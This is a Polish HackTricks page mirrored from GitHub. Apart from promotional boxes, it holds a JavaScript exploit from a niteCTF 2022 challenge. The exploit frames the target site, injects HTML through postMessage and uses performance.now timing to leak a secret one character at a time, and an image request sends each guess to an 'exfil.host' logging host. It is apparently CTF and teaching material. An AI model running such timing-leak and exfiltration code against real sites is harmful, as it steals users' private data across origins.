mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 14:38:27 +00:00
67 lines
3.8 KiB
Markdown
67 lines
3.8 KiB
Markdown
# Przykład użycia performance.now
|
|
|
|
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy Telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
**Przykład pochodzi z [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
|
```javascript
|
|
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
|
|
|
async function check(flag) {
|
|
let w = frame.contentWindow;
|
|
w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
|
|
await sleep(1);
|
|
w.postMessage({'op': 'search', 'payload': flag}, '*');
|
|
let t1 = performance.now();
|
|
await sleep(1);
|
|
return (performance.now() - t1) > 200;
|
|
}
|
|
|
|
async function main() {
|
|
let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
|
|
window.frame = document.createElement('iframe');
|
|
frame.width = '100%';
|
|
frame.height = '700px';
|
|
frame.src = 'https://challenge.jsapi.tech/';
|
|
document.body.appendChild(frame);
|
|
await sleep(1000);
|
|
|
|
let flag = 'nite{';
|
|
while(1) {
|
|
for(let c of alpha) {
|
|
let result = await Promise.race([
|
|
check(flag + c),
|
|
new Promise((res) => setTimeout(() => { res(true); }, 300))
|
|
]);
|
|
console.log(flag + c, result);
|
|
if(result) {
|
|
flag += c;
|
|
break;
|
|
}
|
|
}
|
|
new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|
}
|
|
}
|
|
|
|
document.addEventListener('DOMContentLoaded', main);
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family).
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com).
|
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|